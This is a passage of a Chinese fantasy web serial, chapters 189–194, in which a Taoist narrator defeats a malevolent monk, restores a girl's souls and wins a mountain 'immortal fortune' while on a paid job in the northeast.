方忖显然比我知道的多一些,他睁大眼睛说道,“你,制造人劫害人不说,你把囚禁她两魂四魄,是为了度化?你,到底是僧是鬼?居然能做出如此狠毒之事!害了人,还要她对你感恩戴德!!!”
方忖直接被气哭了。
然而,那老僧却大笑,“哈哈哈,七星灯灭,他们便是孤魂野鬼,我还要抓回去继续度化。你想坏我佛根?就怕你没这个本事。”
方忖攥紧拳头,脸色苍白,对上这老僧他确实没了办法。
而随后,他看向了我?一脸疑惑,“你在干什么?”
我说,“把她们塞回去啊?”
……
第一百八十九章你是,方士?
方忖显然没听懂,奇怪地盯着我。
但我也没解释,因为在我眼里,好像没了这七星灯,也没啥事。我把那两魂四魄抓住塞回去貌似就行了。
然而,我把自己用纸人控人术的事给忘了,我满院子用道力抓魂魄,这姑娘也跟着我满院子跑。
弄得大家都傻眼了。
就连那老僧都纳闷嘟囔,“这家人俩疯子吗?”
“你,你是个僧人,为啥要害人。还有,你为啥要来我家,让我家这种害人的事。”伊楠乔指着老僧说道。
“是啊,你为啥要害我们家啊。”那疯女人的母亲也站了出来。
“说话注意点,那不叫害,那是恩赐。能被我选中的,那都是莫大的恩赐。”僧人说完就盯着疯女人,然后他突然朝我伸手。
接着,我看到一股佛光袭来。
“啊!”
结果,老僧突然惨叫,一口血吐了出去,他痛苦倒地,指着那疯女人说,“她身上怎么会有愿力?”
大家面面相觑,也不知道发生了啥事。倒是方忖似乎明白了,怪异地看向了我。
然而,眼下我没时间搭理他们,我的道力裹着魂魄,原本她们因为老僧又分开了,被我用道力硬生生地挤在了一起。
现在我想,怎么才能把她们给送到女人体内呢。
“过阳气,像过阳气那样,嘴对嘴地送进去。”方忖突然提醒。
“放在嘴里?”我问。
“对,把她们吃在嘴里,然后用嘴过过去。”他说。
我是觉得能把她们塞回去,但我没实践过,也不知道靠不靠谱。
现在方忖有了更好的办法,那就试试。我把她们挤在一起,塞进了嘴里。然后走到女人面前,扒开她的嘴就咬了上去。
呼!
阳气。这东西老子有都是,随便吹一口,那都是最纯的阳气。
随后,这疯女人的眼神逐渐清澈,跟着她在盯着我看,那漂亮的眼睛,感觉像个清纯的大学生。
很快,女人的眼神越来越清澈,那两魂四魄被送进去之后不见了。
她也彻底清醒了。
我惊讶,这招管用。
我撒开了嘴,女人还在盯着我呢,见她不能动弹,我才想起了纸人控人术。我心中默念‘解’字,就听轰的一声,我用来控制她的纸人一下子着火了。
然而,眼下我没心情顾上女人,而是朝着老僧走了过去。
“没有七星灯的情况下,三魂七魄怎会归位?”老僧震撼。
“方丈,我想请教个事。”我说。
“啥?”他看我的眼神有些怪异,带点惧怕,又带了点无语。
“方丈,一你身逆天的本身,要是没了这些逆天的本事,你会气死吗?”我似笑非笑道。
“你,什么意思?”他一脸奇怪。
“没什么意思,就是祖师爷想让我弄死你,但大庭广众之下,我不能那样做。方丈,你之所以这样做,是在悟你的佛性吧?你是不是认为自己很慈悲?”我说。
“哼,你不简单吗?竟然能看到我的悟性。但凭你,杀不掉老衲。老衲咋已经修炼出舍利子,位列人间佛之列。”他不在意道。
“屁,什么人间佛,红尘仙,老子没看到,都特么假的。你不就是走的慈悲杀戮那条路吗?我曾见过一古僧,比你牛逼多了。但人家,不屑杀普通人证道!你个王八蛋!”我冷笑。
随后,我一掌拍在了老僧的身上。
“你,你要把我怎么样!”他有些急了。
但被那愿力伤了,却根本阻止不了我。
我冷笑,没有回答他,那滔天的道力朝着他身上源源不断地涌出。
嗡嗡嗡!
然而,老僧也有本事,体内的佛法跟我对抗。
我心中冷哼。
这老僧确实有些本事,但他修得佛,把自己修成了魔僧,我是方士,我的道力专门应对这种力量。
很快,他身上的佛力被我吃了个干净,连他炼出来的舍利子,上面的佛性也被我的道力给吃了。
“不可能!”老僧眼神涣散,声音颤抖。
我邪笑,猛地用力,两根手指插入他腹中,灵犀一指,准确的那舍利子给夹了出来。
老僧疼的满头大汗,朝我伸手,“还给我。”
我一脚把他踢翻,淡淡的说道,“方丈,这是结石,发作
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的时候很疼,我帮你取出来收着,省着你疼。”
噗!
老僧直接晕**过去。
一番操作下,在场的人都傻了。但看到那疯姑娘好了,这家人倒是喜极而泣,似乎把我的所作所为给忘了个干净。
倒是方忖,他死死盯着我,手指头就没停过,结果,我看到他掐算的手指都抽筋了,还在那算呢。
“方忖兄弟,算不出来就别算了。”我说。
“哎,怪哉怪哉,我五岁被师傅捡到,随着师傅云游四方,学了一身的本事。在这算法上,能算到天机。但算你,手指头都拧成麻花了,却看不到你的命在哪?”方忖苦笑,还给我看了看他的手指,真就是拧在一起抽筋。
“方忖兄弟,我在哈城有一场地,在偏街五十八号,你是高人,我诚心邀请你加入。”我是真觉得方忖有本事。
在刚才那种情况,他还能想出来一个不是办法的办法。
这是很难得可贵的。
最重要的是我觉得他人品很好,得知救不了那女人哭了起来,那是发自内心地在救人,否则不会被气哭。
“算了,算了,冯宁兄弟,自从师傅两年前死后,我一个人习惯了。如今来此地,也是为了了去师傅的一个心愿。”方忖叹气道。
“此话怎讲?”我奇怪,听那话中意思,不是为钱来的?
“两年前,我师傅带我云游帝都,他算出一方人劫,所以想着化解,却被撵了出去。结果,在几天后,那人劫灵验,毁了一桩姻缘。因为这事,我师傅心中有劫,没多久撒手人寰。临走的时候,他让我两年后来此地,说是有破解之法。”方忖看了看我,“现在看来,师傅说的破解之法,就是你了。”
我恍然大悟,一切谜团似乎都解开了。这老僧人想顿悟,掌控他人人劫。而那人也不是啥道士,而是个神算子,算到了这一步。
时间!
真有这等能掐会算的凡人?
“师傅,您的事,我还愿了。”方忖朝着空气说,又看向我说,“我该走了。”
但没走两步,他突然回头盯着我说,“你是,方士?”
……
第一百九十章佳市来人(第三更,求票票)
方忖的话我没有惊讶。
反而很警惕地盯着他。
他似乎也看出了我的反应,然后说道,“看来是了。怪不得,你能学得佛经,又能修那邪术。普天之下,只有方士能做到。”
我冷冷说道,“兄弟,你算出来的?”
方忖摇头,“不是,以我的本事,满天神佛,都算不出来。我是想出来的。”
我没说话。
但我也没想把方忖咋样。
他又说,“兄弟,我师傅说过一句话,送给你。他说,方士,那是见证过最古的存在。现世中,可能不超过十个,甚至更少。但你们这一门坑人,谁碰到谁倒霉。邪门呢。”
说完,方忖这次真的走了。
但在他踏出大门的一瞬间,我仿佛在他身上看到了一个老人。
我愣了愣,这老人?哪来的?刚才我运转双眼,根本没看到他?
这边。
老僧人被疯姑娘家里人扔到了门外。
而得知了事情的真相,他们家里人也不再针对伊楠乔了。
因为疯姑娘治好了,家里人说啥要留我吃饭,还给我拿了十万块。
我拿了钱,但并没有在他们家逗留,而是直接走了。
伊楠乔也跟我走了。
夜色。
出租车上。
我们在赶往黎家别墅的路上。
伊楠乔大哭了一场,哭到最后趴在我怀里睡着了。
姑娘挺漂亮,但不高冷了,就觉得不美了。哪怕穿着黑丝,也没啥感觉的。
等回到了黎家别墅,黎雅见伊楠乔哭晕了,急忙把她扶到了二楼的卧室。
出来后问我,“那事,解决了?”
我大致的说了下前因后果,黎雅惊讶,“想不到,还有这种高人,竟然算到了两年后你能去。”
我点了点头,确实是高手。
随后,黎雅说,“接下来你打算怎么办?还留在帝都吗?”
我摇头,“我明天就不在你这住了,我要四处转转,然后准备回去了。”
黎雅微微点头,“好,你随时来,就随时来找我。”
我看着她点了点头说,“这次谢谢了。”
黎雅笑道,“我们是朋友,何况你有真本事,我没做什么。另外,大哥,父亲那边,也在帮你宣传呢。相信用不了多久,你可能就要忙了。到时候,你别怪我就好。”
我有些意外,“没想到,连你父亲他们都调动了。”
对于黎雅的父亲,我没啥好感。
黎雅却说,“他跟我说,要好好维护咱们的关系,生怕生分,以后我家有事你不帮忙。”
我说,“这个放心,我要赚你们有钱人的钱,服务意识还是有的。”
黎雅朝我翻了个白眼,“讨打的家伙。”
第二天一早,我把别墅的钥匙放在了黎雅家餐桌上,然后直接就走了。
我还是老样子,先去古玩市场,再去一些有古玩的街角旮旯。目的嘛,还是那长白山的神树叶子。
但咋说呢,有些东西真的可遇不可求,没碰到。
结果,我又在帝都待了三天,啥也没蹲到,我就直接回东北了。
回到场地,就看到家门口就蹲了个人。趴在我家防盗网上往屋里面看,嘴里还说着,“真邪门啊,真邪门啊?”
我奇怪呢,啥玩意真邪门?
我也趴在窗户上往里面看,看到欢欢踩在凳子上给小鲤子喂鱼食呢。
这才几天不见,欢欢都快吃成球了,小鲤子也不遑多让,整整大了一圈。
我倒是没觉得有啥不妥的,不就是狗喂鱼嘛?似乎也没啥。
我掏出钥匙开门,顺便问了一句,“有事?”
男人似乎很专注,听到我的话,吓得缩了缩脖子。我这才看清楚他的样子,四十来岁,个头不算高,穿着一身皮夹克,牛仔裤,运动鞋。
这年头这身打扮倒是很少见,有点像我二哥风格。
不过人家寸头,衣品干净,看上去很正气,我二哥没这本事。
“你是,冯大师?”男人问我。
“你来找我的?”我说。
“看来您就是了。我介绍一下我自己,我叫孙为民,家在东北佳市,是做林业生意的。这不,听帝都那边的朋友打电话说,哈城有一位大师,专门处理奇异事件的,我这有点事,所以就来了。”孙为民客客气气地说道。
“这
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样啊,进来说。”我心想,这才几天啊,就有单子找上门了。
果然啊,办法奏效了。
虽然刚回来,但我一点也不觉得疲惫,沏了茶,然后我们就聊了起来。
孙为民似乎对欢欢很感兴趣,时不时地就低头看它,欢欢呢,往我脚下一趴,两耳不闻窗外事,一心就闭眼睡觉。
“土狗吗?”孙为民问我。
“嗯,孙先生,还是说一下你的事吧。”我直言道。
“啊啊。”孙为民喝了口水,这才说,“是这样的,我是做森林维护的。就是巡山,然后做调研。原本还好好的,但在几个月前,有人死在了我们维护区。然后怪事就发生了,我们的护林员,还有调研人员,看到了那个人。一开始我觉得这事有点扯,我也跟着去了,结果那个本来死的人,真就出现了。”
说到这里,孙为民手都有点哆嗦。
我说,“慢点说,不着急。”
他点了点头说道,“冯大师啊,那个人六十来岁,出事的时候,还是我亲自去处理的,连白布都是我盖的。当时,他就离我三米远,站在那看着我,太渗人了。因为这事,我们的几个护林员都不干了,公司里的调研人员也都辞职了,护林的事都耽搁了。现在我想招人,都没人来。我找了几个朋友,说是这可能是山里的东西作祟,让我找人看看,说道说道。”
我说,“在我之前,你应该找过其他人吧?”
孙为民有点尴尬道,“找了,要不就是骗子,说好了,结果我们人上去,还是能看到。我还找了当地的大仙呢,米婆,结果,那米婆吓疯了。这不,从那以后,事情更严重了。但是不能耽误啊,我没法子了,找一些老友问得。说是您是有本事的,我连夜就赶过来了。”
我又问,“那东西白天也能看到吗?”
孙为民点头,“能,只要上山,他就能出现。”
这事确实有点邪乎了。
听这意思这东西也不作恶,就是盯着。但米婆,大仙啥的还不敢动他。
我想了想说,“我收费很贵的,成不成,都要给钱。你这个事,打算给多少?”
……
第一百九十一章神仙嘛?(第四更)
我看着孙为民,既然他来找我,那我也简单点,直接谈钱。
“有,有,冯大师的本事我都听说了,钱都带来了,二十万。您看,够吗?”孙为民把皮包打开,里面是二十万的现金。
“有钱就好说了,现在起程?”我也有些意外,孙为民竟然这么好说话,直接就把钱给了。
但我想了想,应该是黎雅宣传的好,所以他很直接。
要知道这可不是一笔小数目。
“那太好了。我们这边是开车来的,现在就能走。”孙为民连连点头。
我这一看,这人是真的着急啊。
我看了一眼欢欢,随后想了想说道,“你车能坐下几个人?能把它带上吗?”
我觉得这是个不错的磨炼机会,带上欢欢跟小人参,是个不错的选择。
其实主要是这次陆小旺不在,没了帮手,带欢欢去还能给我打个下手。
“有,有,那太好了。它很神奇。”孙为民突然冒出来这么一句。
我心想,难道是欢欢暴露的有点多了?
不行。
以后它还是要警惕点,你看小人参,趴在它狗毛里装草,一般人就发现不了。
我看了一眼小鲤子,它还是**病,贴在鱼缸那偷听呢。
我顺手拿着鱼食往里面多都倒了点说,“我们都要出去了,你在家看家,省着点吃。等陆小旺回来,她就喂你们了。”
我心想,挺大个鱼了,自己不会蹦出鱼缸吃东西,场地里就它最麻烦。
小鲤子朝我点了点头,又开始在那追其他雌性鲤鱼了。
我转过身,看到孙为民在那张大嘴巴盯着鱼缸,不知道想啥呢。
我拍了他肩膀说,“车呢?我们走。”
孙为民指了指鱼缸,又指了指我说,“鱼能听懂人话?”
我说,“孙先生,你看错了,它只是一条普通的鲤鱼。”
孙为民扯了扯嘴角,我这还在场地屁股还没坐热乎,然后就跟他走了。
一辆黑色轿车,除了孙为民,还有两个人,一个专门开车的青年司机,另一个是他的男秘书。
开了一天一夜,我们没去佳市,而是在一个山脚的屯子下的车。
孙为民在这有休息点,这是一个农户的家,被他租了下来。
吃过饭,他们都去睡觉了,这大白天的我也不困,带着欢欢四处转悠。
眼下九月份了,这山村凉飕飕的,比哈城都要冷个四五度,天好像要下雪似的。
随着遇到的事越来越多,经历的越来越多,我已经不是当初的那个愣头青了。
对于这种事,我轻车熟路,在得知了就是面前这座山的事,我第一时间就是找村民们闲聊。
“你们要进山啊?不行,进不得啊。那老巴子死在里面了,邪乎着呢。”我在村口找了个老头老太太扎堆闲聊的地方,随便一问,一个大爷就说话了。
“大爷,我们是护林的,得进去啊。你说的那老巴子咋回事啊。”我奇怪。
“他啊,早年是我们山里的傻子,后来进了一趟山,学了一身的本事。前段时间吧,他跟我们说要走了,说是进山当神仙。村里人也都不太信,结果真去当神仙了。”老头说。
神仙?
我也愣了愣,没想到随口问问,貌似问到了点子上。
这事好像跟那吃活物的邪修对上了?
山神点化的守山人?
一个大娘也不知道哪来的瓜子,坐在石头上,翘着二郎腿嗑瓜子,大嘴一撇,“这老巴子本来是个傻子,老了老了,还成神仙了。你说这命。”
另一个老头说,“年轻有人不是把你介绍给他家嘛,你不还嫌弃呢吗?”
大妈撇嘴,“他家穷啊,太穷了。嫁给傻子没啥的,叮当响,咋过日子?”
老头白眼,“得了吧,你那点破事啊,大家都懒得说。老巴子给大伙看事那点钱,全让你给蹦了。”
大妈脸不红心不跳地嗑瓜子,“得得得,说这些干啥。孩子,这山啊,村里人能进,你们外人别进了。那老巴子跟我说,他是白虎转世,伤人。”
我点了点头,又跟他们聊了聊。
但之后没有啥过多的信息,就知道这老巴子应该是个看事的,可能被点化了。
要是如此
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的话。
那我要跟这里的山神过招?
这种事。
我还没试过呢。
但莫名的有点期待。
很快,天色就晚了。我看了一眼那大山,从这边看是一片松林,但往高处,能看到杨树,然后山连着山,看不到尽头。
夜色下,山中寂静巍峨。
我回去睡了,火炕一觉睡到了天亮,等我醒了,孙为民他们也刚起来。大家伙吃了饭,然后孙为民把所有人都叫来,让我随便的调度。
孙为民这边算上他,总共就七个人,一个是当地的民村,他是当地的村民,也是为数不多还留的护林员。
然后就是另外五个人,这是他们公司的调查小队,三个女的,两个男的。其中一个女的年纪比较大,三十来岁,是小队的队长,这其他人都是小年轻。
“你们都要上去吗?”看他们的架势,貌似都要跟着上去。但这种事,我觉得人多了麻烦。
“我们要做调研。”那个年纪大的瞥了我一眼,似乎对我不太感冒。
“嗯?”我奇怪地看着孙为民,他来让我处理这事?怎么还节外生枝呢?
“这个,冯大师,我们有勘测任务,所以想着,趁您在,把这事给解决了。”孙为民为难道。
我皱了皱眉头说,“孙先生,这种事不是儿戏,弄不好会出人命的。我没有义务解决你花钱之外的事。”
孙为民有点尴尬。
但在我眼里,这是他自找的。多一个人多一个麻烦,结果,他说让我调度,到头来成了帮他们完成任务?
“这个不用你操心,我们出事,也不用你管。”中年女人冷声说道。
“你,少说两句。”孙为民瞪了女人一眼。
“孙副总,大家都说这山上有东西,但这都很久了,没出过事。我是总公司调来的,我怀疑你们私下有程序外的交易。如今你去哈城把人找来,已经耽误时间了,这是我最大的让步了,你还想怎么样?”中年女人强势道。
“好,你们的人,我一个都不要。我们各走各的。欢欢,我们直接上山。”
……
第一百九十二章仙缘(第五更球票)
这中年女人有点我行我素意思,明显对我也不信任。
但巧了,我也是这种人。
至于她信不信我,我也无所谓,拿钱办事,办好了就办,办不好钱也不退。
我直接走了,欢欢跟在我身后。很快,屋里面就传来了声音。
孙为民说,“你太过分了,这位是我花大价钱请来的,那狗你看到了吗?那狗会喂鱼!”
听了这话,我愣了一下。
难不成,这才是孙为民信任我的原因?
那中年女人说,“孙副总,我看你是脑子有问题,不行去精神病院看看,狗喂鱼?想骗我信你?这种鬼话也能说出来?”
孙为民郁闷道,“我说的都是真的,他家鱼会点头。人家是真有本事的。”
中年女人,“胡言乱语,我看你得了幻想症。我们现在就进山,我倒要看看,你说的完不成的任务,我能不能完成。到时候,别说我报告总部,撤了你分公司副总的职位!我们走!”
我这边才出门,身后中年女人也带队出来了。女人瞥了我一眼,也没说话,也没针对。
倒是几个队员看我的眼神有点奇怪。
“哎呀妈啊,说让我办这事,咋又弄来个祖宗。要不就别让我办。”屋内,我听到孙为民的声音,这人都四十来岁了,但那声音像是被逼得都快疯了。
我没在意。
叫上欢欢,然后就跟在他们的身后。
当然,有一说一,中年女人虽然性格强势了点,但从始至终,人家都是那种就事论事的态度,也没有排挤我们,或是说闲话,只是不理睬。
爬山是个体力活,早上出发,大约两点多进了山深处。
这里跟外围不一样了,林子茂密,时不时的就有动物的叫声。甚至,还看到了狼的粪便。
大家都饿了,就地用餐。
那护林员导游走了过来,跟我一块压缩饼干,还给欢欢拿了个馒头。
我没打算接,但导游却说,“大师,我信您有本事,那老巴子爷爷,我见过的。”
闻言,我接过了压缩饼干,欢欢也吃了馒头。
信就好。
正好,我跟他问道,“你在哪见的?”
导游说,“我见过两次,一次在山下,一次是前面。咋说呢,他没想害我,但不让我往里面进了。”
我也奇怪,不害人,拦路?这叫啥事啊?
我说,“我听说之前还请了米婆,大仙,也都不管用?”
导游说,“是,不管用。那米婆是高家村的,有本事。用一碗米,一根筷子,就把地府的魂给招上来了。十里八村谁不服啊。但来这不管用……”
导游说着,舔着嘴唇,小声跟我说,“米婆都快六十的人了,吓尿了。”
我说,“那大仙呢?”
导游说,“大仙也不行,越是法力高强的来,那越惨。给大仙都吓跪下了,说是看到了猛虎,要吃了它。猛虎啊,啥大仙都不好使。”
闻言,我笑了笑,没在说话。
稍微修整,队伍又往前走了。然而,我却死死地盯着导游笑了笑,整个人也轻松了些。
“汪。”欢欢也看出了门道,朝导游撇了撇大黑嘴。
我知道欢欢啥意思,说导游身上的气不对。这个我刚才就闻到了。
但我摇了摇头,导游有点问题,但是不多。
又往前走了一个小时。
呼!
周围突然刮起了大风,烟雾突然就缭绕了起来,有点仙雾缭绕的那个意思。
很快。
周围的情况就不可见了。
前面的这些队员,也都被大雾弄得消失了。
“老大,附近有宝贝。”小人参憋了一路,突然就钻了出来。
“宝贝?”我也是一愣。
“对,宝贝。还有一些其他的生灵,都在盯着呢。”小人参坐在欢欢背上,用力地嗅了嗅。
“还有其他生灵盯着?”我问。
“有。还有一些人也在这。他们应该都在等宝物出世。”小人参又说,“不过,老大,这宝物应该是死物,等也白等。”
“宝贝还有死物?”我奇怪。
“我常年在牢山找宝贝,闻一闻就知道。死物,不能碰,碰了会出事的。炸死生灵,那都是常有的事。那个拦路的山魂,应该是受山神委托,拦着人不受伤害。”小人参说。
闻言,我恍然大悟,“原来是这样。”
我深吸一口气,这次把欢欢它们俩带来还带对了,小人参对这种事太了解了。
“老大,那山魂来
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了。”小人参说完就趴在了欢欢背上,然后在那装死,连气息都不漏了。
呼。
又是一阵风吹过,浓雾突然就散了。
中年女人他们都在,但一个个都吓得瑟瑟发抖。因为就在前方,一个穿得有点破烂的老头,正死死地盯着他们。
“鬼,鬼啊。”队员们都吓得脸色发白,腿都软了,跑也跑不了。
中年女人呢,也好不到哪去,看着很大胆,但她蹲在那,从始至终都不敢看那山魂。
“大师,大师。”我也不知道他们经历了啥,有没有刚才那山雾,那导游见到了我,突然跑了过来,站在了我身后。
额?
他身上的那股大山的气息不见了?
刚才,这人导游身上有着一股气息,跟这座山的气很像。
所以我觉得他是被什么东西给迷惑了。
但现在那股子气息就不在了。
应该是又没事了吧。
“啊,大师。”其他几个人也都跑了过来。
再看那中年女人,有点不好意思,但也蹑手蹑脚地蹲在了我身后。
说实话,这一幕有点哭笑不得。
然而,我没打算搭理他们,径直朝着那山魂走了过去。
直接站在了他面前。
结果,刚才还是个人,等我走近之后,这是一头野生鹿,它不怕生,反而打量我。
“老大,那山魂就在鹿的身上,他是山中精灵,拦人鹿,这不是山中鬼怪之事,而是山中神仙的指引,你跟它说话,那山神能听到。”小人参小声嘀咕。
我点了点头,也是头一回遇到这种事。我对它说,“山中的神仙,我们是维护林子的人员,来此地是为了查看林中情况的。还请放我们过去。”
这鹿看着我,圆溜溜的大眼睛眨了眨,然后就蹦蹦跶跶地走开了。
小人参说,“拦人鹿,能感受到人的善恶,它走开了,应该就没事了。”
随后倒是我纳闷道,“这就完了?以后那个山魂就不会出现了?”
“这个……”小人参似乎也有点一知半解,但随后却突然跳了起来,蹦在了我身上说,“我知道是咋回事了,仙缘,老大,这是大山的仙缘。宝贝是假的,仙缘才是真宝贝!”
……
第一百九十三章运气好
我疑惑的看向小人参,小家伙那须子都快甩碎了,显得特别兴奋。
我又看了一眼队伍里的人,他们全都蹲在那,头也不敢抬。
之前最强硬的中年女人,也都把头埋在胸口,在看她蹲的地方,一片焦黄。
这是吓尿了。
然而,对于这种情况,我毫无感觉。咋说呢,她是个人,见到这种情况肯定会害怕,书上说那叫生理反应。
所以也没啥可笑的。
我对小人参说,“仙缘是啥?你这又是拦人鹿的,又是山魂的,到底咋回事。”
小人参趴在我耳边说,“老大,按照你们的话来说,仙缘就是机遇。但不同的是,这种机遇是大山大海自然衍生。而山神则是负责指引有缘人才能得到。”
我听明白了,但我又觉得哪里不对,随后我说道,“也不对,要是指引我们得到机缘,也不用拿个**的魂来吓唬人吧?还有,刚才导游的那些话,明明是赶我们走,可不像是送仙缘的样子。”
我之前就觉得不对劲,现在倒是想通了一点,导游刚才说的那些话,那是劝我走的话。但我没太在意,所以起了大雾,小队的人都被吓到了。
小人参说,“老大,仙缘……不只是给人的,是万物生灵,谁得到算谁的。这应该是此地的神仙布的障眼法,不想让人轻易得到,所以才欺骗了你们的眼睛。”
对此,我没啥反驳的。
小人参见状说,“老大,你感受一下吧,你肯定有啥改变。仙缘,那是仙道。”
闻言,我点了点头,感受着身体的变化。起初,也没啥感觉,但很快,我发现了,我对自然亲近。
这种亲近不是捕捉,而是一种感知。就像我脚下有虫子在沉睡,远处有鸟在趴窝,那只鹿还在看我。
我能感知到它们的一举一动,哪怕是心思。
原本我还有点不太在意呢,现在内心直呼牛逼。我在看向欢欢,它摇着尾巴,耷拉着脑袋,它啥话都没说,但我能感受到它的想法。
我忍不住吐槽道,“欢欢,你想回头吃狼粪?”
欢欢瞪大狗眼,用一种震惊的眼神盯着我。
因为我说对了。
“呼!”周围还有人在,我用力地深吸一口气,以此来平复这种心情。
虽然不能跟动物沟通,但能知道动物想啥,这已经太牛逼了。
“那这事就解决了?”我问。
“老大,仙缘是自然孕育的仙道本领,每一份仙缘都不一样的。你得到了那就没了。那个山魂也不会再出现了。”小人参又说,“老大,你运气真好。但凡谁大着胆子走到山魂面前,看到那拦人鹿,这仙缘都是他们的。”
“是的,运气不错。”我也很高兴,得了这种好东西,怎么可能不高兴呢。
误打误撞的解决了这事,但我没打算走,因为我能感知到这山里面有不少好东西。
我倒不是贪,只是想看看,能不能发现我那丹药方子里面的东西。
所以就往前走了。
结果我这刚一动弹,身后小队的人也跟了过来。我看了他们一眼,也没拦着。
就这样,从一开始我跟着他们,成了他们跟着我了。
随着深入,我的心情越来越好,这是我第一次感受到自然的力量。哪怕是一株植物,都能满足我的好奇心。
真的是前所未有的舒畅。
也不知道过了多久,队伍里他们已经开始做记录了。随后,我突然感觉到了一丝的危险。
那是!
一头成年虎的气息。
威压,霸道,不容侵犯。
我知道不能再走下去了,我准备往回走,然后就看到了欢欢怂样。
如今的欢欢,可不是一只普通的土狗了。结果闻到这老虎味吓成了这样。
虎威。
真的名不虚传。
“哎,大,大师,怎么走了?还差点就能测完了。”见我走了,小队的人齐刷刷地看向我,那叫一个紧张。
其中那中年女人,对我的态度也客气了。而她的这副嘴脸,我早已经见怪不怪了。
我没理她。
来的时候就说了,两边各不相关。
倒是那导游激灵,凑了过来,“大师,老巴子那鬼怪,解决了吧?”
我说,“解决了。”
他松了口气,“那就好。那大师,您这是要下山吗?”
我停下了脚步,然后看向导游说道,“你们的事
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,我不想掺和。”
随后我指着深处说,“看在你给我一块饼干的份上,我救你一命。再往里面走,你们就要进入到老虎的领地了。”
“啥!”导游腿一软。
我也没说话,他们信不信,我都无所谓。完事,我就往山下走了。
结果。
我就听到后面有人喊道,“啥,老虎!”
然后,小队的人呼啦啦地跟在我身后,连大气都不敢喘。
我心想,算他们有自知之明。山魂不伤人,但老虎那就不一定了。
也不知道走了多久,天都彻底黑了。但随后,我却突然停下了脚步。
其他人也都停了下来。
但眼下,我却没心情顾忌他们,因为我感受到了一股能量波动,来自大山深处的。
接着,我就闻到了飘来的血腥味。
我转头朝着山里面看了过去。
想到了小人参的话,我猜测,应该是那假的宝物出世了。
然后引起了一波腥风血雨吧。
“汪汪汪。”欢欢也感受到了,朝我叫了两声。
有了仙缘,我不用再猜它要表达的情绪了。
“嗷……嗷……”随后,虎啸山林。
“真,真有老虎。”队员们都吓坏了,月光下,那脸色白的吓人。
一个个紧张到窒息。
连老虎都参与进去了。
虽然没有亲眼见到那假宝物的现世,但我能感受到那边有多疯狂。
但很快,我却冷笑,他们要是知道真正的仙缘被我拿到手了?会不会气死?
“欢欢,我们走。”避免节外生枝,我跟欢欢都加快了脚步。
很快,身后传来了声音,说让我们等等,然而,老子没多久就到山下回去睡觉了。
第二天一大早,等我醒了过来,就看到孙为民满脸堆笑地看着我,那样子有点谄媚。
“孙先生,这一大早的?你有事?”被一个四十岁的老男人谄媚地盯着,我有点不舒服。
欢欢则也奇怪地看着它,眼神有点嫌弃。
“狗大仙,大师,我是叫你们来吃饭的。”孙为民讨好的眼神。
我无语了。
欢欢在他这都成大仙了。
……
第一百九十四章画了井下那只眼
孙为民确实是来叫我吃饭的。
一大早的直接做的杀猪菜,听那意思是孙为民直接买的本地猪,早上现杀的。
我也胃口大开,盛了一大碗酸菜汤,拿着馒头吃了起来。
味道真不错。
“这次大家都要感谢冯大师,没有他,咱们这以后的工作没法展开。我孙为民先敬大师一杯。”孙为民给自己倒了一杯酒,一饮而尽。
“孙先生,我收钱办事,仅此而已。现在事情已经办妥了,吃过饭,我就要走。”我喝了口酸菜汤,吃了口馒头,对于孙为民的客套话不感兴趣。
孙为民有点尴尬,但在我眼里,这不存在我尊不尊重他,我们就是一场交易,他把他职场上的那套东西放在我身上,我不喜欢。
队员的其他人看我的眼神也都尊重了,不说别的,昨天因为我,他们真的捡了一条命。
深山里面的情况我摸不准,但老虎都出来了,碰到就算不死,也得吓个半死。
但很快,有人一脸愁容,“那个老巴子解决了,但老虎咋办啊?咱们现在探了一大半,下个月还要来呢。没法交差啊。”
说话的是个戴眼镜的斯文女生,这话一出来,在场的人都安静了。
就连孙为民眼下也都不知声了。
“是啊,那老虎,更可怕吧。大家虽然平时都有登山,但遇到老虎,不够吃吧?”一个男生为难道。
“孙副总,我不想干了,又是山怪,又是老虎的,我不干了。”
又是一片安静。
老巴子被解决了,又来老虎,放在正常人身上确实受不了。
但我直接听不见,该吃吃该喝喝,还让人给欢欢拿大骨头,欢欢也高兴了。
很快,吃饱喝足了,我跟孙为民提出了走人。孙为民虽然还想留我,应该是想我帮着解决老虎的事。
但我很直接地拒绝了,老虎那玩意,我解决不了。还有就算能解决,我也不解决。
得到了这份仙缘,我对动物植物都有了全新的认知。
他们是遵循自然而生的,所以本身是有灵的。
而老虎,那是大灵。
也叫大灵显天运。
咋说呢。
它的存在,可不是过江鲤那种需要万中无一,然后开了智,才承接了天运。
因为它本身就代表了天道中的某一部分。
不说别的。
就这纯阳之体。
能在零下四五十度中在雪地里打滚,睡觉,身上散发的阳气,能直接化了冰雪。
在方士的记忆里就有过说法,几百万个人当中,都未必能有一个,而有了纯阳之体,那就是人中龙凤,圣门天骄。
凭着这个体质,一些邪修之法根本伤不到分毫。
与境界无关!
这就是体质!
但人家天生就有!
不到万不得已,老子不触这眉头。
因为老虎的事,孙为民走不开。但这人办事还是很稳当的,寒暄了两句,让司机开车去送我回哈城。
这人靠谱。
一路颠簸,大约在中午,我们到了佳市,找了个地方吃饭。
司机姓崔,我没问真名,一直叫他小崔。他年纪比我大,约莫二十七八岁。穿着打扮,都挺常规的。
路上吧,他的话也不多。
但到了佳市,吃完饭之后,非说要带我去洗浴,还要给我**。
这弄得我有点无语。
“冯大师,这是副总亲自安排的,说是您来一趟,要给您留个好印象。钱都给我拿了,四千块。”小崔说。
“我不擅长这些,钱你留着吧,就跟他说洗过了。”我说。
“冯大师,您是哈城的,这是佳市,八竿子都打不着,您放心吧,这地我熟,给您找当地的,保证碰不到面。”小崔说。
我皱了皱眉头,“我的话,你听不懂吗?你们的那套东西,我不感兴趣。”
小崔有点怕我,不敢再提这一茬。
下午,我们继续赶回哈城的路上。因为闲着也是闲着,我就研究起了从帝都带回来的几样东西。一个是那舍利子,其实这东西我都看一路了,但怎么看都是结石。
但也不知道是不是仙缘的事,我觉得对它有了点新的认知。
这玩意都被我化掉了佛性,但经过几天的变化,似乎又有了佛性。
然而舍利子我也见过一些,貌似没这个本事。
难道是有保质期的?
我猜想,这东西虽然在修佛人的体内,也是修
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佛人修炼出来的,但本质上,应该不是一体的。
要不然,我拿出来了,它怎么可能还会生出佛性呢?
之前我摆弄很久,也不知道这玩意的用途。但现在嘛,我有一个大胆的想法,那就是吸收这些佛性。
还真被我搞对了。
我真的能吸收,但这种能量在我体内,那不是佛力,而是道力。
这种转变我很惊讶。
所以我又认定了一个想法,不管是道力,还是佛力,说白了就是能量,大自然的能量。只不过在之前,我没有得到仙缘,对于能量的转变不敏感。
